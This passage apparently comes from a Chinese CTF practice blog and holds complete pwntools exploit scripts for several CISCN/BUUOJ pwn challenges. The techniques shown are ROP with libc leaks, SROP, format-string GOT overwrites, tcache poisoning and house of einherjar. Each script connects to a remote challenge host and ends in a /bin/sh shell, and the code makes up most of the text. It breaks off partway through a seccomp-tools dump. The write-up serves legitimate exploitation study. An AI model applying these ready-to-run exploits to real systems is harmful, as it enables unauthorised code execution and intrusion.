sla = lambda a,s:p.sendlineafter(a,s)


'''
#malloc_hook,main_aren Find
python2 LibcOffset.py libc-2.23.so
'''


'''
#without stripped
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","26514")
elf = ELF(binary)
#libc = ELF(libc.so)


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']

pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64

#ret = 0x4004c9
#pop_rdi_ret = 0x400713

payload = ""
payload += "A"*0x28
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)


ru("name\n")
pause()
sl(p64(0x0010000))
ru("me?\n")
sl(payload)
puts_addr = u64(rc(6).ljust(8,'\x00'))
log.info("puts_addr:0x%x"%puts_addr)
#libcsearcher use
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr-obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
log.info("binsh_addr:0x%x"%binsh_addr)

payload = ""
payload += "A"*0x28
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)


ru("name\n")
pause()
sl(p64(0x0010000))
ru("me?\n")
sl(payload)
p.interactive()

6.ciscn_s_3:栈溢出,利用SROP,栈迁移,常规getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_s_3"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","28198")
elf = ELF(binary)
#libc = ELF(libc.so)

main_addr = elf.sym['main']
gadget_rax_0xf = 0x4004DA
syscall_addr = 0x400517

payload1 = ""
payload1 += "A"*0x10
payload1 += p64(main_addr)
p.sendline(payload1)
stack_addr = u64(rc(0x30)[32:40].ljust(8,'\x00'))
log.info("stack_addr:0x%x"%stack_addr)

binsh_addr = 0x601030

frame_read = SigreturnFrame() #设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = binsh_addr
frame_read.rdx = 0xf
frame_read.rsp = stack_addr-280 + 0xf8
frame_read.rip = syscall_addr

log.info("frame_read_addr:0x%x"%(stack_addr-280))


frame_execve = SigreturnFrame()
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = binsh_addr
frame_execve.rip = syscall_addr

payload2 = ""
payload2 += "A"*0x10
payload2 += p64(gadget_rax_0xf)
payload2 += p64(syscall_addr)
payload2 += str(frame_read)
payload2 += p64(syscall_addr)
payload2 += str(frame_execve)
pause()
p.sendline(payload2)
pause()
p.sendline("/bin/sh\x00".ljust(0xf,'A'))
p.interactive()

▲需要注意的是:

syscall一般后面都有ret,所以在sigreturn_frame之后如果还需要调用其他的sigreturn_frame或者其他函数,都是需要在上一个sigreturn_frame中设置rsp,使得ret正常执行。

①如果下一步还是sigreturn_frame,则将上一个的rsp设置为指向syscall_ret_addr的栈地址。

②如果下一步是其他函数,则需设置对应指向函数地址的栈地址。

(而以上的设置通常需要结合栈劫持来操作,数据可控比较方便,不用还得从原始栈上找对应的函数地址或者syscall_ret_addr)

CISCN-BUU刷题记录3

1.ciscn_final_5:由于题目本身原因,chunkList中存放的堆地址是chunk_addr+idx,所以idx为16时就会导致存放的堆地址为chunk_addr+0x10。同时放入chunkList的顺序是按照申请顺序放入的,删除和修改的时候也是通过遍历查找的。那么如果先申请索引为16,1的chunk,chunkList中就会如下:

chunk16_addr+0x10,chunk1_addr

如果这时候释放索引为0的Chunk,就会误以为chunk16_addr+0x10为索引为0的chunk,如果事先伪造了chunk16_addr+0x10的size域,那么就能够将其释放,再申请回来,那么我们就能够制造堆块重叠,有了堆块重叠加上edit功能就很随意了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_final_5"
libc_file = "./libc.so.6"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.26.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","28635")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "your choice: "


def add(idx,size, con):
sla(menu, "1")
sla("index: ", str(idx))
sla("size: ", str(size))
sa("content: ", con)

def delete(idx):
sla(menu, "2")
sla("index: ", str(idx))


def edit(idx,con):
sla(menu, "3")
sla("index: ", str(idx))
sa("content: ", con)


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
__stack_chk_fail_got = elf.got['__stack_chk_fail']

add(16,0x10,p64(0x0)+p64(0x210))
add(1,0x10,p64(free_got))
add(2,0x20,p64(free_got))
add(3,0x30,p64(free_got))
add(4,0x40,p64(free_got))

delete(0)
delete(1)
delete(2)
delete(3)
delete(4)

add(5,0x200,p64(0x0)+p64(0x21)+p64(free_got))
add(6,0x10,"Free")
add(7,0x10,p64(puts_plt))

edit(5,p64(0x0)+p64(0x21)+
p64(0x0)*0x3+p64(0x31)+
p64(__stack_chk_fail_got))
add(8,0x20,p64(__stack_chk_fail_got))
add(9,0x20,"a")
delete(9)

libc_base = u64(rc(6).ljust(8, '\x00'))-libc.sym['puts']
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + libc.sym['system']

edit(5,p64(0x0)+p64(0x21)+p64(0x0)*10+p64(free_got))
add(10,0x30,p64(free_got))
add(11,0x30,p64(system_addr))
add(12,0x60,"/bin/sh\x00")
delete(12)
p.interactive()

这里需要注意一点的是,我的做法不像其他人申请chunk到chunkList直接控制chunk块,从而修改堆块地址传入到被劫持为puts函数的free_got来泄露地址,而是直接申请到got表上,将got表作为堆地址传入被劫持为puts函数的free_got来泄露got表中的地址。

但是这里会遇到一个问题,就是选择哪一个函数的got表作为堆地址。这里两种解决办法:

(1)可以发送size为0,那么就不会修改到函数的got表,但是这个方法要求利用0x20的tcache的dup。

(2)如果size不为0,那么申请堆块的时候势必要发送数据,最少也是\x0a。那么发送数据也肯定会修改到该函数的真实地址,那么泄露出来的就是修改后的真实地址,而且如果该函数在程序运行过程中容易被调用,那么修改之后也势必会使得程序崩溃。这里有Libc文件还好,可以直接查找libc文件对于函数的最后一个字节来修复一下,但如果没有libc文件,那么就没招了。

这里假设没有libc文件,那么我们就需要找一个不太能用到函数来修改,这里刚好有个__stack_chk_fail_,只要不触发canary,这个函数就不会被调用,其got表是延迟绑定的,保存的不是真实地址,直接拿来用就行。同时还要注意的是由于是__stack_chk_fail_的got表作为堆地址,但是实际传入给puts函数的地址是__stack_chk_fail_got-0x10,所以泄露出来的是对应的puts函数的真实地址。

之后就正常利用0x20,0x30,0x40的tcache来任意申请修改了。

2.ciscn_2019_en_3:水题,利用格式化字符串泄露地址,打free_hook,唯一需要注意的一点是程序本身的提示信息,注意空格和DEBUG的使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_2019_en_3"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","25412")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "Input your choice:"


def add(size, con):
sla(menu, "1")
sla("Please input the size of story: \n", str(size))
sa("please inpute the story: \n", con)

def delete(idx):
sla(menu, "4")

sla("Please input the index:\n", str(idx))
sla("What's your name?\n","%p.%p")
ru(".0x")
read_addr = int(rc(12),16)-0x11
obj = LibcSearcher("read", read_addr)
libc_base = read_addr-obj.dump('read')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
free_hook = libc_base + obj.dump('__free_hook')
log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)
sla("Please input your ID.\n","A")
add(0x18,p64(free_hook))
add(0x18,"/bin/sh\x00")
delete(0)
delete(0)
add(0x18,p64(free_hook))
add(0x18,p64(free_hook))
add(0x18,p64(system_addr))
delete(1)
p.interactive()

3.ciscn_2019_s_6:水到家的题,懒得看,两分钟改完脚本拉倒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_s_6"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","25301")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "choice:"


def add(size,name,call):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('name')
p.sendline(str(size))
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('call:')
p.sendline(call)

def show(idx):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(idx))

add(0x88,'pppp','pppp')
add(0x20,'pppp','pppp')
add(0x20,'pppp','pppp')
for i in range(7):
delete(0)

delete(0)
show(0)
p.recvuntil('name')
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
free_hook = libc_base + obj.dump("__free_hook")
system_addr = libc_base + obj.dump("system")
log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)

#p.recvuntil()
delete(1)
delete(1)
delete(1)

add(0x20,p64(free_hook),'pppp')
add(0x20,'pppp','pppp')
add(0x20,p64(system_addr),'pppp')
add(0x20,'/bin/sh\x00','pppp')

delete(6)
p.interactive()

4.ciscn_2019_sw_1:格式化字符串,改fini_array为main_addr,使得程序循环再来一次,劫持printf为system_plt,再输入binsh即可getshell。程序里的sys没啥用,用来迷惑人的,因为command无法被修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

binary = "./ciscn_2019_sw_1"
#libc_file = "./libc-2.24.so"
#libc_file = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","27341")
elf = ELF(binary)
#libc = ELF(libc_file)

fini_array = 0x0804979C
printf_got = elf.got['printf']
system_plt = elf.plt['system']
main_addr = elf.sym['main']


payload = ""
payload += p32(fini_array+2)
payload += p32(fini_array)
payload += p32(printf_got+2)
payload += p32(printf_got)
payload += '%'+str(0x0804-0x10)+'c'+'%4$hn'
payload += '%'+str(int(main_addr&0xffff)-0x0804)+'c'+'%5$hn'
payload += '%'+str(0x10804-int(main_addr&0xffff))+'c'+'%6$hn'
payload += '%'+str(int(system_plt&0xffff)+0x10000-0x10804)+'c'+'%7$hn'


pause()
p.sendline(payload)
pause()
p.sendline("/bin/sh\x00")
pause()
p.interactive()

5.ciscn_2019_s_1:差点被这道题搞崩溃。网上解法太多,感觉都挺麻烦的。其实直接一个技巧就搞定:house_of_einherjar。进行一定堆布局,申请chunk8-chunk10,将0x100的tcache填满,在chunk8中伪造chunk,满足2.27下的unlink要求,即size位和fd,bk位。(由于这里给了堆地址,所以可以直接用,恰好能够满足要求)之后触发0x100的off-by-null向上合并,将chunk9给overlap,之后申请到tcache结构体,就能随便玩了。(house_of_einherjar重点在于2.27下的unlink)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_s_1"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","26685")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "4.show\n"


def add(idx,size, con):
sla(menu, "1")
sla("index:\n", str(idx))
sla("size:\n", str(size))
ru("gift: ")
chunk_addr = int(ru("\n"),16)
sa("content:\n", con)
return chunk_addr

def delete(idx):
sla(menu, "2")
sla("index:\n", str(idx))

def show(idx):
sla(menu, "4")
sla("index:\n", str(idx))

def edit(idx,con):
sla(menu, "3")
sla("index:\n", str(idx))
sa("content:\n", con)

key_addr = 0x6022B8

chunk0_addr = add(0,0xf8,"0")
heap_base = chunk0_addr-0x260

chunk8_addr = add(8,0xf8,"8")
chunk9_addr = add(9,0xe8,"9")
chunk10_addr = add(10,0xf8,"10")
log.info("chunk8_addr:0x%x"%chunk8_addr)
log.info("chunk9_addr:0x%x"%chunk9_addr)
log.info("chunk10_addr:0x%x"%chunk10_addr)

edit(8,p64(0x110)+p64(0xf1+0xf0)+
p64(chunk8_addr)+p64(chunk8_addr))
edit(9,"9"*0xe0+
p64(0xf0+0xf0))

for i in range(0,7):
add(i+1,0xf8,"X"*0xf7)
for i in range(0,7):
delete(i+1)

delete(9)
delete(10)
chunkA_addr = add(9,0xd0,"9")
chunkB_addr = add(10,0xd0,
p64(0x0)+p64(0xf0)+
p64(heap_base+0x10)+p64(heap_base+0x10))
unsortedbin_addr = chunk8_addr+0x10+0xe0+0xe0

add(11,0xe8,p64(heap_base+0x10))
add(12,0xe8,"\x00"*0x40+p64(0x0)*7+
p64(key_addr)+ #0x90
p64(0x0)+ #0xa0
p64(unsortedbin_addr-0x10)+ #0xb0
p64(heap_base+0x10)) #0xc0

add(13,0x88,p64(0x1))
add(14,0xa0,"A"*0x10)
show(14)
ru("AAAAAAAAAAAAAAAA")
main_arena = u64(rc(6).ljust(8,"\x00"))-96

malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + obj.dump("system") #system
free_hook_addr = libc_base + obj.dump("__free_hook")
log.info("free_hook_addr:0x%x"%free_hook_addr)
log.info("system_addr:0x%x"%system_addr)

edit(12,"\x00"*0x40+p64(0x0)*7+
p64(key_addr)+ #0x90
p64(free_hook_addr)+ #0xa0
p64(unsortedbin_addr-0x10)) #0xc0

add(15,0x98,p64(system_addr))
add(16,0xf0,"/bin/sh\x00")

delete(16)
p.interactive()

CISCN2021线上复现

一.lonelywolf:UAF,show函数也可以泄露释放后的堆块。

1.思路:

(1)由于在edit的时候先是创建了一个新变量,然后依据size来从变量中获取数据拷贝到chunk中,所以最后补0其实没办法造成off by null。

(2)申请0x8大小的堆块,释放后修改数据,连上放入tcache之后被赋值的bk,show一下,泄露出堆地址。

(3)申请最大size的chunk,0x78,delete之后改掉fd指向heap_base,获得tcache结构体的控制权,0-0x40为大小,0x40-0x78为bin链,可控0x20,0x30,0x40,0x50,0x60,0x70,0x80的bin链。

(4)之后就随意了,控bin链和bin大小,将任意一个bin大小的count改成7,伪造满tcache,之后释放一个chunk即可进入unsortedbin中,show一下得到Libc地址。

(5)再控tcache结构体,直接得到malloc_hook的chunk,改为One_gadget,再申请一下chunk即可getshell。

2.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#注释头

from pwn import *
#context.log_level = 'debug'
local = 0
if local:
p = process('./lonelywolf')
elf = ELF("./lonelywolf")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("114.116.231.128","25285")
libc = ELF("./libc-2.27.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "Your choice: "


def add(idx, size):
sla(menu, "1")
sla("Index: ",str(idx))
sla("Size: ",str(size))


def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", str(con))

#leak heap
add(0,8)
add(0,8)
delete(0)
edit(0,"A"*8)
show(0)
ru("AAAAAAAA")
heap = u64(p.recv(6)+"\x00"+"\x00")-0x10

#control tcache struct,leak libc
add(0,0x78)
delete(0)
#edit(0,p64(heap+0x2a0))
edit(0,p64(heap+0x10))
add(0,0x78)
add(0,0x78)
edit(0,"\x00"*35+"\x07")
delete(0)
show(0)
ru("Content: ")
malloc_hook = u64(p.recv(6)+"\x00"+"\x00")-112
free_hook = malloc_hook+7352
libc = malloc_hook-0x3EBC30
system = libc+0x4F550
print("free_hook:",hex(free_hook))
print(hex(malloc_hook))

#change malloc_hook to one_gadget
one_gadget = libc+0x10a41c
edit(0,"\x02"+"\x00"*0x3f+p64(heap+0x280)+"\x00"*0x30)
add(0,0x8)
delete(0)
edit(0,p64(malloc_hook))
add(0,0x8)
add(0,0x8)
edit(0,p64(one_gadget))
add(0,0x8)
p.interactive()

二、silverwolf:(比赛的时候没接触过seccomp保护,在学长的指导下也算是做出来了。)和上面一样,只是加了沙箱保护,用seccomp-tools dump ./silverwolf查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

root@241adce81c0a:/ctf/CISCN/silverwolf# seccomp-tools dump ./silverwolf
line CODE JT JF K
=================================
